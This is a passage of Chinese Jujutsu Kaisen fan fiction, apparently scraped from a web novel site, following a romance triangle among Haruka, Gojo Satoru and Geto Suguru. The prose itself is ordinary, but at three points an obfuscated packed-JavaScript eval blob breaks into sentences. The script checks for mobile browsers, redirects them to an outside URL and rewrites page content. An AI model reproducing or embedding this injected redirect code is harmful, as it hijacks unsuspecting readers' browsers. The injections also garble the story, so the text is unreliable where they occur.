两人享用完甜品,站在门口时,大雨倾盆而下,原本粉白的樱花仿佛被雨水剥夺了色彩,变得苍白无力。它们在风雨中颤颤巍巍,瑟缩着从枝头飘落,落入那冰冷的积水中。 海月遥面无表情地望向五条悟,从钱包中抽出五千日元递给他。 “我才不要。”他像是赶小狗一样挥手,“不就是让我去买伞吗?三无病弱美少女?” 她露出“孺子可教”的神情,赞许地点头。 总感觉她在想什么很失礼的事。五条悟觉得他被冒犯了,忍不住吐槽道:“你不是有那个能储存物品的咒具吗?为什么自己不带伞?” 说着,他留意到她双手环胸,搓着手臂,便顺手将自己的外套抛向她。得亏海月遥反应迅速,才避免外套和地面亲密接触的命运。 “嗯……因为杰会带?”她拢了拢外套,沉思片刻后,不太确定地回答。 毕竟空间的格子数量有限,她想随身带着的东西又多,自然会摈弃掉不重要的部分。而她出门次数有限,大多数时间都是与夏油杰一起。每当他们一同外出,夏油杰几乎都会带上一把伞,确保她不会被雨水打湿。 然而,即便是细心的夏油妈妈,偶尔也会有忘记带伞的时候。这时,他们俩便会坐在台阶上或者站在屋檐下,静静地等待雨过天晴。 听到她的回答,五条悟不悦地轻哼一声,把帽子扣在她头上。宽大的帽檐一时遮挡了她的视线。 待她往后扒拉开帽子,疑惑地看向他时,五条悟已经大大咧咧地走入雨帘中,只能看见少年挺拔的背影。 他头也不回地摆手:“等我一下。” 奇怪。 春雨绵绵,被寒风携来,仿佛能浸透骨髓。海月遥还没来得及多想,就被冻得打了个颤。她把披着的外套穿上,拉上拉链,再把帽子一把盖在头顶。 由于他们之间的体型差过大,这件外套在她身上显得异常宽大,下摆垂到了她大腿中部,手臂放下时,袖子甚至会遮住指尖。 实在是无事可干,她扯了扯袖管,伸出手接住一片樱花瓣,细细地打量起来。 等五条悟随意买了把透明雨伞,回来时就看见她这幅模样。 有时候他会觉得这个家伙奇怪极了,不管是那些晦涩的古籍还是一片平平无奇的樱花瓣,在她眼里都值得研究。每当她沉下心来,就好像与外界隔绝一般,人来人往,熙熙攘攘,却都无法在那双沉静的蓝眸中留下倒影。 当他走近时,她并未抬头,只是淡淡地问道:“为什么只买了一把伞?” 说这话时,她还在漫不经心地摆弄花瓣。 “一把伞就够了。” “悟太大只了,而且我也长高了,挤不下。” 她最近似乎对身高格外在意,就像刚升入初中的孩子,以为自己就此变成了大人。 但从五条悟的角度看,依旧只能看见她发顶的螺旋。完完全全还是小鬼嘛! 始作俑者完全不考虑,这究竟是谁造成的。如果不是他那次在万圣夜,把她像辛巴一样举起来,海月遥也不会对身高有这么大的执念。 五条悟没有回答,反问道:“那杰和你出去时,是带几把伞?” “一把。”或许也意识到自己这边的理由不充分,海月遥没有再继续说下去。 那为什么要说他这边只有一把就不行?明明夏油杰就可以。五条悟对此耿耿于怀。 他向来对日本文化里一些约定俗成的部分不屑一顾,但这时他却想起了相合伞的概念:男女同打一把伞,往往是恋人之间的行为。 所以,为什么他就不行? “你是不是对我有意见?”他咬咬牙,问道。 海月遥一僵,摆弄樱花瓣的动作也停了下来。她肯定不会承认,因为夏油杰以及部分其他原因,她其实有些看不惯五条悟。 “没有。”她斩钉截铁地否认了他的指控。 为了掩盖自己的心虚,海月遥甚至抬起头,直视五条悟,违心地说道:“其实我很喜欢悟……真的。” 昧着良心夸人实在是难受,所以她马上又低下了头。 好想死…… …… 五条悟感觉自己的脸肯定已经开始发烫。 穿着他外套的少女抬起头,那双静谧的蓝眸赤恍恍地撞进他的眼底。不再像刚才那般冷淡,而是泛起波光,独独映照出他的倒影。 “其实我很喜欢悟……真的。”她像是下定决心,艰难地说出这句话。 等等,这莫非是…… 还没等五条悟有什么反应,她又迅速低下头,宽大的帽檐遮挡住了他看向少女的视线。 这难道是什么新型的恶作剧吗? 还是说,真的是……告、告白? 这些的念头在五条悟脑海中一闪而过。 不不不,五条悟,你仔细想想,她怎么可能突然告白,这肯定是恶作剧。 不不不,但她说得那么认真,而且又是约会,又是因为他打扮,次次还想着方法逗自己开心……她肯定喜欢自己。 那他现在应该怎么做? 他自认为对她充其量只是有点好感……对,就只有一点点好感。而且杰也暗恋她很久了…… 不,感情哪有什么先来后到,他魅力这么大,被人喜欢是自然的。 麻烦了,应该怎么拒绝她比较好呢…… 五条悟冥思苦想。 海月遥对他的心理历程一概不清楚,等了半天也没见他有任何反应。但她明天就要去高专了,今天必须盖完章才行! 这么想着,她向五条悟手中的伞伸出手。 五条悟原本沉浸在丰富的脑内思考中,见她低垂着头,似乎颇为沮丧地向他伸出手。或许是连绵不绝的雨,或许是那垂头丧气的可怜样,他未经思考,一句话便脱口而出: “那我们交往吧!” 海月遥:??? 这难道是什么新型的恶作剧吗? 如果不答应就不把伞给她,让她淋雨走? 她刚想抬头看五条悟的表情,却被他拉着帽檐往下一扣,视线瞬间被帽子完全挡住。 她试图挣开,却被他扣得更紧,直到她整张脸几乎都被帽子遮住,呼吸变得困难。 ……果然是恶作剧。 海月遥面无表情,她想揍人了。 …… 完了。 五条悟不冷静地想。 他本来是想拒绝她的,可怎么一开口就变成了…… 现在收回这句话显然不太可能。 尽管他不喜欢海月遥,但也不能就这样反复践踏朋友的心意。 没办法,那只能顺水推舟地交往下去了。 对,这是没办法的事! 他默默开导着自己,目光却不由自主地落在了身前的少女身上。只见她正欲抬头,让他心中一阵慌乱。 手快过大脑,他几乎是本能地扣下了她的帽子,不让她看见自己此刻的表情。 开什么玩笑!怎么能让她发现自己脸红了!肯定会被这个恶劣的家伙嘲笑一辈子的! 他在心中暗自嘀咕,脸上的温度却不由自主地上升,心脏也突突跳个不停,仿佛要跳出胸膛一般。 他紧紧抿着唇,试图掩饰自己的紧张。然而,海月遥却并未就此罢休,反而开始与他争夺那顶帽子。他们的动作带着几分稚气,仿佛是在进行一场无声的较量。 片刻后,海月遥选择放弃这种幼稚的斗争,低低说了句:“我明白了。” 这是要交往的意思吗? 五条悟撇撇嘴,不满她的镇定。明明说喜欢自己的是她,这个时候却这么敷衍和随便。 但五条大人向来宽容,原谅她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581141|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时的僵硬。他转身跑到海月遥身后,一手环住她的腰身,往前推着她走:“快点去下一站吧~” 他感觉心底有什么情感在不断膨胀,像是飘忽的气球,心脏被羽毛一下一下地轻挠,每一下都带着阵阵酥痒。 这种感觉说不上坏。 他几乎是雀跃地从身后半抱着她,两人像是被绑定在一起,一前一后地小跑着。 而海月遥只觉得自己被五条悟水灵灵地歪七八扭地挟持了。 “你踩到我了。” “哈哈~抱歉抱歉~” “混沌白毛!” “哼哼~” 火大。 …… 奇怪,实在是太奇怪了。 海月遥看着坐在她对面的五条悟:那标志性的墨镜也不戴了,随意地别在白T恤边,这副随性不羁的模样仿佛自带磁场,引得周围许多人偷偷打量。 五条悟却对其他视线毫不在意,只是悠闲地品尝着面前的甜品,偶尔还会用舌尖舔去嘴角残留的奶油,那动作本来相当正常或者说是幼稚,但由他这张脸做出来,却莫名地带上了几分涩气。 忽而,那洁白如羽翼的睫毛轻颤,那双惊心动魄的蓝眼睛便定格在她脸上。 “噗。”他嘴角微扬,勾出一抹得意的笑,一手撑着下巴,“怎么了?我果然很帅气吧?” 自恋狂。海月遥心中腹诽,却也能听到周围人的轻声议论更多了些。 平心而论,五条悟的样貌确实出众,他的一举一动都能轻易地引起人们的议论和注目。 与夏油杰那种内敛而温和的气质截然不同,他更像是一颗璀璨夺目的钻石,无论身处何处都能散发出耀眼的光芒,每一处都张扬着自信与不羁。 在这样一个普通的咖啡馆里,他成为所有人眼中的焦点,没有人能做到忽视他的存在。 但是…… 海月遥面无表情地大喝一口橙汁,随后幽幽地说:“论美貌你是赢不了我的,悟。” “哈?!” 他困惑地皱起眉,又细细打量她的脸一番,对上她的视线时,他猛地别过头,托着下巴,也不知道看向哪里,低声嘟囔:“勉勉强强算得上可爱吧……” 海月遥心中只有四个字:勉勉强强。 太失礼了!她明明是走在路上,十个大姐姐里会有九个回头看她的类型! 冷静点,你怎么能跟小鬼置气。她开始反省自己。明明自己不是那种在意别人评价的人,可到了五条悟这儿,她总是屡屡动气。 海月大人才不跟五条小鬼一般计较。 她一言不发地低下头,把怨气撒在并不好吃的黑森林蛋糕上。 这蛋糕黏糊糊的,腻味,甜到发齁,完全没有黑森林应有的巧克力浓香和樱桃酒的醇厚。按照她的判断,这里面大概也没加什么樱桃酒,完全是巧克力和劣质奶油的混合物,唇齿间充满了廉价的糖精味。 或许是参加了这次的盖章活动,才有可能卖得出去吧。她在心底评判着,将搅得像团浆糊的蛋糕送进嘴里。 五条悟注意到了她的不悦:尽管海月遥的表情依旧毫无波澜,但手下的动作却显得相当粗暴。 生气了? “可爱。”他的声音低到难以捕捉。 她一时没听清:“嗯?” “我是说你很可爱啦!”他突然提高声音,匆匆说完这句话,便不再多言,扭过头,就是不看她。纯白的发丝间,他的耳垂红得像是要滴血,格外醒目。 留意到她视线的落点,他颇不自在地拨了拨发丝,试图遮挡住耳轮上的红晕。 悟在脸红什么? 海月遥茫然地把蛋糕往嘴里送。 奇怪,实在是太奇怪了。 …… 直到回到高专时,海月遥才明白这种违和感的来源。 刚到学校,五条悟就一手揽着她的肩膀,在两个同期面前得意洋洋地宣布:“我和这家伙从昨天开始交往了!” 交往?! 她宕机了。 5. 悟线(五) 诶? 交往? 什么交往? 谁和谁?什么时候? 海月遥呆滞地看着五条悟。 为什么没有人通知她,她和他交往了? 面对两个同期审视的眼神和五条悟投来的催促目光,她第一次体验到了被人架在火上烤的感觉。 她的社交常识里可从没包括这一项! 谁能告诉她该怎么做?! 在这生死关头,她的大脑开始飞速运转。 方案一,当场否认。 她今天就给五条悟一个教训: ——出其不意,必自毙。 但这方案不可行。 她仔细回想昨天两人约会时的情景,是自己先说“喜欢他”,然后才顺势迎来了交往的请求。只不过当时的自己把它当做了玩笑,稀里糊涂地应承下来。 归根结底,这是她的错误,不应该由五条悟来承担后果。 这不公平。 其次,她也不知道,如果当场拒绝了,悟以后还会不会把她当朋友。按照她的小心眼,她换位思考一下,虽然不至于完全怪罪这个人,但她自己反正是会和对方拉开距离的。 尽管一直说着嫌弃,但海月遥其实并不讨厌五条悟。 嗯,只是不讨厌而已。 那只能采取方案二了。 海月遥面无表情地扫过其他人。或许是因为她过长的沉默,又或许是因为别的原因,目前的气氛十分沉闷,像是凝了冰,但一时也不知道寒气究竟源自何处。 在众人的注视下,她缓缓点头,动作如同卡顿的机器人,主动承认。 “是的,我和悟交往了。” 然而,她的承认并没有让气氛回温,反而使之更加沉闷。 海月遥:总感觉哪里不对劲。 …… 精彩,实在是精彩。 家入硝子的视线在五条悟、海月遥和夏油杰三人之间徘徊。 先不论那两个交往没有一点前兆的家伙,单看夏油杰,他几乎快维持不住往日的温和表情。郁紫色眼眸像是沉寂的冬日灰烬,却又能隐约窥见那份平静下跃动的火星,似乎随时都会簇然燃起,烧尽一切。 在海月遥入学之前,他们就知道夏油杰有一个喜欢的对象。虽然平常他也是温柔地对待所有人,但只有回复那个人的消息,或者和她打电话时,他才会露出那样的表情:柔和到极致的缱绻,以及毫不掩饰的爱意。 然而,即使海月遥入学之后,两人的关系也没有太大的改变。 夏油杰似乎有着某种顾虑,导致他只敢用温水煮青蛙的方式,慢慢地、全面地渗透到她的交际圈、她的生活中。任何有可能夺走他幼驯染的苗头,都会被他毫不留情地掐灭。 只要海月遥在场,他的视线便紧紧锁定在她身上。即便他正忙于其他事务,余光也会时刻留意她的状况。 那个人是谁?她在和谁对话?她说了什么?为什么她会露出与平常不同的表情?那个人会对他构成威胁吗?他是不是需要立即采取行动去干预他们两个? 他心中做着判断,脸上挂着温和的笑,眼底却透着阴冷的寒意。 令人后背发寒的占有欲。 说实话,有时候,家入硝子看着两人的相处方式,都会觉得有些渗人。只不过海月遥过于迟钝,夏油杰又过于敏锐,而且她也没有掺和他人感情的兴趣,所以一直旁观。 反正两个当事人对此都十分适应。 那么,现在五条和遥两个人是怎么回事? 她心下思索。 毕竟,在这之前,完全没有看出两个人有任何暧昧的迹象。 要家入硝子说,这两个人凑到一起时,就像两个幼稚的小孩,时常拌嘴打闹。谈恋爱这种事情,怎么想也和小学生们不搭。 算了,深思无益。家入硝子敷衍地鼓了鼓掌,随口道:“是吗?那祝福你们。” 她向来没有兴趣掺和到同期们的恋爱逸事中,这种吃力不讨好的事情她才不干。不管是他们谁交往了,她也只会像现在这样,平淡地祝贺一句。 五条悟露出一个满意的笑,他似乎并不在意其他人的看法。高高在上的神子很多时候都是极度自我中心的人,比如现在,他就能忽视掉夏油杰愈发阴沉的笑,一边发泄式地揉着海月遥的头发,一边朝她撒娇式地抱怨道:“你刚刚怎么还在发呆?” 说着,他还像揉面团似的揉搓她的脸。 “啊……因为……” 这个时候她该说什么呢?她的社交经验并不包括应对这样的场合。 “你怎么了?”五条悟注意到她的表情愈发僵硬,便俯身看向她。察觉到两人骤然拉进的距离和周围所有人的注视,海月遥的大脑瞬间一片空白。 换言之,她宕机了。 “……我为什么发呆?” 她开始往大脑的搜索框内输入“发呆”这个词,顿了顿,语调毫无起伏地念出她的结论。 “因为发呆是一项有益于大脑的活动。” “经常发呆,可以促使大脑灰质变厚,提高大脑细胞活跃度,增强记忆力和创造能力,缓解疲劳……” 这个电波女在说些什么呢? 五条悟觉得她比起JK,更像E.T.或者AI。 (注:JK——女子高中生,E.T.——外星人,AI——人工智能。) “意义不明。”他皱着眉,挟持着已经开始振臂高呼“发呆应该成为一项国□□动”的胡言乱语版海月遥往教室走去,一边回头看向神情各异的两个同期。 “总之,事情就是这样。” 他肆意地往后一瞥,左眉挑起,扬起一抹张扬的笑:“我们两个交往了。” “谢谢硝子,还有……” “——也谢谢你,杰。” 他轻飘飘地扫了一眼眯眼假笑的夏油杰,声音冷了下来,意味深长地念出最后几个字。 说完,他转过头,恢复成以前那轻快到甚至有些轻佻的少年音色,推搡着卡机的海月遥:“发呆作用很多,我明白了,能不能不要再念了,像个机器人一样~” 她被推得踉跄一下,从宕机的状态恢复过来,平静地给他一肘击,他灵活地躲开了。 海月遥开始觉得她现在的窘境和五条悟也脱不了干系,干脆直接指责:“悟是个笨蛋。” “哈?你说什么?” “笨蛋悟,白痴悟,呆子悟……你想听的话我可以一直说下去。”她一连串说着,脚下也不停,撒腿就跑。 “哇!你这个家伙,别跑!” 两个人打打闹闹地远去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581142|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… “怎么办,夏油?”家入硝子望着五条悟和海月遥逐渐远去的背影,慢条斯理地从烟盒中抽出一根烟,咬着烟蒂。 她尝试用打火机点燃烟,但奇怪的是,打火机怎么也打不出火来。 家入硝子低声骂了句“倒霉”,便随手将打火机揣回兜里。接着,她琥珀色的眼睛一转,漫不经心地瞥了一眼身旁的夏油杰,淡淡地说道:“姑且一提,我哪边都不站。” “为什么这么说呢,硝子?” 即便在这种状况下,夏油杰仍保持着一如既往的笑容,甚至比以前更加轻松了。 家入硝子感觉一直压在他背上的某种沉重的负担似乎完全卸下来了。 为什么?她想不到原因。 夏油杰从口袋里掏出自己的打火机,垂着眼帘,一手护着火,专注地给家入硝子点上烟。打火机上橙蓝色的火光在他暗紫色的眼瞳里跃动,映照出一种莫名的情绪。 “明明什么都没有改变,不是吗?” 不知是在说服家入硝子,还是其他原因,他意有所指地说出这句话。 麻烦了。家入硝子想到。 …… 麻烦了。海月遥想到。 虽然已经临近半夜,但她却睡不着。宿舍大厅里空无一人,她便坐在长椅上,手里拿着一瓶橙子汽水。 细碎的气泡顺着清凉的液体滑过舌尖,再流入喉咙,橘子的清香随着气泡的破裂在味蕾上跳跃。这是她再喜欢不过的味道,但此刻却未能给她带来更多的快乐。 她又不想喝了,吸管被她咬得不成形,汽水里还剩下一大半。 海月遥只觉得大脑一片混沌。 当面承认交往了,然后呢? 一直交往下去? 可瞒着五条悟这一点对他不公平。 那找一个机会对他说明清楚,顺势道歉? 这更像是一个糟糕的选择。 不,海月遥,你要冷静,得先从最本质的一点开始思考。 就是她究竟对五条悟有没有恋爱之情。 如果有,事情就很好解决了;如果没有,那就再议。 首先,单从好感度来说,她可以直观地说出自己对五条悟的好感度是85。但她对家入硝子的好感度也几乎是这个数值,甚至夏油杰还是鲜红的95。 从这一点无从判断。 爱情和友情的区别是性.欲。海月遥又想起以前看见的这个观点。但性.欲这一点,她实在是无从判断。 要不然现在去扒了五条悟的衣服,看看自己是不是想睡了他?毕竟现在是晚上,月黑风高,正是个适合作案的时间点。 她知道五条悟在哪间宿舍,门锁对她来说,更是形同虚设…… 不不不,你在胡思乱想什么?! 海月遥面无表情地扇了自己一巴掌。 喜欢不喜欢判断不了,该不该坦白也犹豫不决,她感觉自己像是暴雨中在汹涌大海上飘荡的小船,失去了方向。 她本就不擅长处理情绪和辨认情感,更别提现在这种复杂的情况。 算了,过一天算一天吧。她逃避心理大爆发,打算喝完汽水就去睡觉。 这时,一个她再熟悉不过的声音响起。 “遥?” 海月遥循声望去。 6. 悟线(六) 是夏油杰。 也不知道这么晚了,他为什么还没睡。往日绑得整整齐齐的丸子头此刻已散开,黑发柔顺地披散至颈肩,比起以往的温和,平添了几分阴郁的气质。 他静静地站在走廊的拐角处,一半身子陷入走道上的阴影,一半则在苍白的白炽灯下,暗紫色的眼睛里沉着比夜色更为浓稠的情绪。 但当海月遥看过来时,他眼中的冷意瞬间消融。夏油杰蹙起细长的眉,视线落到她泛红的脸颊上,快步走来。 “遇到什么事了吗?” 夏油杰毫不避讳地捧起她的脸,指腹轻轻摩挲过她左脸上的红痕。 “……没什么。”海月遥总不能告诉他,这是她刚刚自己给了自己一巴掌,不然等他深问,还得告诉他自己半夜想扒了五条悟吗? 她随即用波纹治好了伤,抹去最后的证据。“真的没事。”海月遥再次强调。 夏油杰对她明显的敷衍不置一词,只是不悦地眯起了狭长的狐狸眼。他没有松手,反而加大力度,用带茧的指腹刮蹭着她的脸颊——那是白天五条悟触碰过的地方。 “为什么那么做?” 他声音阴冷,俯身靠近,黑发带着夜的凉意拂过她的脸侧,将她整个人笼罩在自己的阴影之中。 “遥。” 两人的距离越来越近。 …… 竟然能发现是她自己扇了自己。 海月遥神情凝重。 那她承认这个怪刘海还有几分实力,至少大脑所需的养分没有被额前的那撮刘海霸占。 然而,两人之间的距离实在太近了。 海月遥坐在长椅上,感觉只要自己稍微挺直腰,两人的嘴唇就可能触碰在一起。她不太适应这么亲密的距离,哪怕是夏油杰也不行。 “砰!” 她猛地给了他一记头槌。这一下撞得结实,两人的额头都红了。 夏油杰的情绪瞬间被她这一撞打散了。 虽然深夜容易让人陷入负面情绪,但物理治疗法在医学界的地位依旧不可撼动。 “……你在干什么呢?”他揉着头抱怨。 “因为,杰很不对劲。” 夏油杰定定地看着坐在长椅上的海月遥,目光从她的表情、坐姿,最后落到她嘴里咬得变形的吸管。 “是吗?”他淡淡地笑了笑,没有给出明确的回答。转身走向售货机,他买了罐可乐,然后坐在了海月遥的身边。 他语调温和地问:“你不是说要长高吗?怎么还不去休息?”仿佛刚才的一切都没发生。 终于恢复正常了? 海月遥疑惑地看了他一眼,坦率地说道:“睡不着。” 夏油杰拉开可乐罐的易拉环,“嗤”的一声,伴随着气泡不断上升和破裂的声响。 “那可不好办。”他抿了口可乐,没有看她,眯起眼,似在沉思。“能和我说说为什么吗?” 虽是闲聊的语气,却透着一丝循循善诱。 海月遥不说话,闷着头喝了口橙子汽水。她也不能告诉夏油杰那件乌龙。 “……就是普通的失眠。” “失眠还喝汽水?”他语带调侃。 海月遥瞥见他手中的可乐:“杰不也是?” 可乐中还有咖啡因呢。 夏油杰惬意地往后一撑,捏着可乐边缘说:“我是为了陪你。既然睡不着,那就一起聊聊天呗?” 到底是谁在陪谁?她本来都准备去睡了。 “1。” 说是要聊天,他却沉默不语,只是抬头凝视着大厅的天花板。 海月遥闲着无事,便也随他抬头望去。 上方空荡无物。 不见皎洁的苍白月亮,亦无浪漫的璀璨烟火。唯有沉闷、大片且虚无的白色映入眼帘。 白炽灯的光芒刺眼,她没多久便低下头,不适地眨了眨眼。而夏油杰依旧保持着那仰头的姿势。 也许是因为他眼睛小吧,海月遥为自己的不支找借口。 “小遥,我们认识有多久了?”夏油杰语气平静地问道,显然不知她心中的小九九。 “……” 此时无声胜有声。 不会连这都记不清了吧。夏油杰叹了口气,刚想说两人已经认识十年多了。 “3787天。”海月遥毫不犹豫地开口。 她心算完毕,等待夏油杰的回应,却迟迟未至。她疑惑地侧头,恰好迎上那双深邃的紫眸,平静的外表下暗涌的漩涡。 “3787……3787……” 他反复念着,一遍又一遍,仿佛要将这个数字深深刻入心底。忽而,他轻快地笑出声:“对,就是3787天。” “小遥,我们已经认识3787天……没有人比我更了解你。”他再次满怀欣喜地念出这个数字,之前的沉闷一扫而光,“你之前觉得我不对劲,但实际上,真正不对劲的是你。” “遥,你有心事。” “失眠只是个借口,你肯定有事情想不通。” 夏油杰毫不留情地揭穿她随口编造的谎言,语气冷硬。但随即,他又以充满柔情的声线引导着说:“告诉我吧……” “我不会告诉任何人。” “我会帮你想办法解决烦恼。” “只要你需要,我会永远陪在你身边。” 他撑在椅子上的手悄然移向她的手。他的手指平直伸展,而海月遥的手指则微微蜷曲。在两人指尖即将相触之际,他停住了。 只需她稍稍伸直手指,向前迈出微不足道的一步,两人的指尖便能相接。而他将会摩挲她苍白的手腕,强势地将指尖挤进她的指缝。 这是他为自己留下的退路。 “毕竟,你对我来说,是最特殊的存在。” 夏油杰看着她的眼睛,一字一顿地说道。眼底与其说是满溢的情意,不如说是不含感情地审视。 他在冷静地观察,观察她的反应。 海月遥侧过头看着他,对他突如其来的情感流露感到困惑,只是冷淡地回应:“谢谢。” 她的手指依然微微弯曲,两人指尖间那微小的距离仿佛是一道难以逾越的鸿沟。 夏油杰又收回了手,故作轻松地笑道:“所以,告诉我也没关系哦~” “但实际上什么都没有,杰,你判断失误。”海月遥一口气喝掉剩余的橘子汽水,站起身,瞄准远处的垃圾桶,一抛即中。 “既然说完了,那我去休息了。”她没有回头,径直向楼梯走去。 这时,夏油杰却攥紧她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581143|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手腕,力道坚定不容置疑。他抬头,直勾勾地凝视着她。 “你在撒谎。” “遥,你或许不知道,烦恼时你喜欢咬吸管。而且,平时你喜欢小口喝橙汁,而不是像刚才那样一口气喝完。”他手上的力道逐渐加重,“白天也是,紧张时你常常会说一大段科普来掩饰自己的不安……” “还有……” 他毫不停顿地揭露出她的所有破绽,在夏油杰眼中,她几乎是透明的。 “我不知道你们之间到底发生了什么。” “但你和悟……” 他明明已经掌握所有证据,本该斩钉截铁地作出决断,然而此刻他的声音却如同被雨水浸透,透出一股凄凉的哀求。 “——你们并没有真正地交往,对吗?” 海月遥面无表情地回望。 两个人谁也没说话,只是静静地对视着。 “不,在交往。”海月遥突然开口打破沉默。“我和悟在交往。” 夏油杰的表情失控。为了防止她察觉到自己的不对劲,他迅速低下头,垂下眼帘,掩盖住眼底的情绪。 “啊,是这样吗?”明明神情阴冷,他的声音还是一如往日般温和,“抱歉,是我误会了。” 杰怎么了? 海月遥不太明白为什么幼驯染看上去如此的……忧虑? 她不太确定,但总觉得不算是正面情绪。 好像自从她认识夏油杰开始,这个孩子脑子里总会控制不住地胡思乱想,情绪也容易陷入极端。如果是一段时间没和他说话,就会自顾自地以为自己被抛下。 现在说不定他也是像以前那样,又走入了死胡同。 拿他没办法。 海月遥眉眼柔和下来,轻声安慰:“别想太多,早点去休息吧。”说完,轻拍了拍他的手背,示意他松开手。 夏油杰与那双透彻的蓝眸对视了片刻,然后不甘地收回手,就像毒蛇在猎物逃脱后缓缓缩回巢穴。 “嗯,我知道了,小遥先去睡吧。”他温声回应,似笑非笑。 “你呢?”海月遥问道。 “我想再坐一会儿,别担心,我很快就回去。”夏油杰摇了摇手中的可乐,“我还要享受睡前喝可乐的快乐呢。” 海月遥抿起唇,打量他一会儿,又叮嘱道:“如果有什么事情可以直接跟我说。” 说完,她往他手心里塞了把糖果。当玉白的指尖触碰到他手心时,夏油杰本能地蜷缩起手指,似乎想握住,但最终只是“不经意”地滑过她的掌心。 “嗯。”他笑着说道,“快去睡吧。” 海月遥并没有察觉,只是点点头:“晚安。” 说完,她头也不回地走向楼梯。 如果她回头看一眼,或许就会发现夏油杰正面无表情地、片刻不移地盯着她的背影。 他手中的可乐罐早已被五指攥得变形,黏腻的深褐色糖水从罐口不断汩汩涌出。 接着…… “嘀嗒”一声响起。 在地板上泅开一抹化不开的痕迹。 “麻烦了……” 或许是在说可乐的污渍。 又或许,他意有所指。 在这空荡的大厅里,这句话的本意,唯有他一人知晓。 7. 悟线(七) 交往这件事给海月遥带来的影响是…… 没影响。 她自己还没想清楚应该怎么办,也不知道该怎么面对五条悟。 但拦不住有人贩剑。 她还在进行每日的上课发呆活动,一个纸团就砸到她后脑勺。坐在她后面的也就那两个男生,想也不想,她就知道是谁扔来的。 如果没有重要的事,下课后,她绝对会揍他。海月遥心平气和地展开纸团,上面画的是辅助监督老师的地中海发型,以及一个昏昏欲睡的Q版自己。 决定了,揍他。 她不动声色地将纸团重新捏成一团。 台上的老师咳嗽了几声。 接着,又一个纸团飞来。 这次里面画的是自己被地中海反射的光晃醒的样子。 她更加坚定了要狠狠揍他的决心。 台上的老师似乎嗓子不太好,咳嗽不断。 又是一个纸团落到她的桌上。 这次纸团里的Q版海月像小叮当一样掏出一瓶神秘液体,让地中海瞬间变成了茂密的亚马逊热带雨林。 这是在演连续剧吗? 下一张图会不会是所有地中海发型的老师都臣服于伟大的海月大人,从此她再也不用写检讨了? 然而,海月遥没能等到下一张图,她正想转头去看一眼五条悟。但那位嗓子不适的老师终于忍无可忍:“悟,你有话想说就等到下课!” “好的,老师!”那逆子回答得很迅速,“我们去罚站以示歉意!” 谁和你是“我们”?! 未及海月遥拒绝,五条悟已拦腰将她扛起,迅速绑架到教室外。 海月遥:Fine 脚一着地,她立刻挥拳打向五条悟。仗着她不会在这里用波纹,他凭借无下限术式轻松挡住,冲她嬉皮笑脸。 海月遥面无表情地朝他伸出手,他笑着将自己的手掌覆了上去。 与他相比,她的手显得小了许多。他的手掌宽大,手指修长且骨节分明。她只需目测,便能看出他的中指长为11.3cm。 相当惊人的长度。 他握着她的手玩闹,时而捏捏这里,时而揉揉那里。玩够后才凑近问道:“怎么了?” “后续。”她伸手索要接下来的纸团。 他摊手叹气:“没带出来啦~” 就在她决定放弃理会这个白毛之前,他指了指她的袖管。她扫了一眼,发现他刚刚趁着捏手的时候,偷偷塞了一张叠好的纸片在她的衬衣和高专制服外套间。 她打开纸片,里面是Q版海月因好奇试用自己的产品后开始无限增生,最终地球被海月淹没的画面。 上面还有箭头,她顺着折痕翻开,将背面凌乱的线条拼凑完整,最终画面呈现:无数的Q版小人聚集后,因为消消乐规则,最后又只剩一个。 无聊的发展。海月遥脸上毫无波澜,把它妥善地装在口袋里。 “为什么要画这些?”她不明白这个人的想法。虽说咒术师多疯子,但这种类型也确实少见。对她而言,五条悟的性情比毕O索的立体主义画作还要抽象。 他不回答,只是不满地抱怨道:“早上怎么跟你打招呼也不理我?” “如果我的记忆无误,我的确回应你了。”海月遥不接受指控。 “你就用那种看空气的眼神瞥了我一眼,说了个‘1’,这也算打招呼?”五条悟觉得这人实在不可理喻,“我们现在是在交往吧?” “……” “……你移开视线是什么意思?” 她迫使自己迎上五条悟的目光,“对不起,这是我第一次和人交往,没有经验。下次交往不会这样了。” “哪来的下次?”五条大少爷对她的回应极为不满,他一手钳住她的脸,指腹按捏着她的脸颊。尽管他语气不善,手下动作倒还算轻。 “……” “……你为什么又移开视线!” 海月遥语调毫无起伏:“逗你的。” “你这家伙……”五条悟气得咬牙切齿,他像搓面团一样揉搓着她的脸颊,直到她白皙的脸上泛起红晕。 “这样一点也不好笑……”他低声抱怨。 她没有听清:“嗯?” “我是说,”五条悟陡然拔高声音,一字一顿地强调,“这样的玩笑,一、点、也、不、好。” 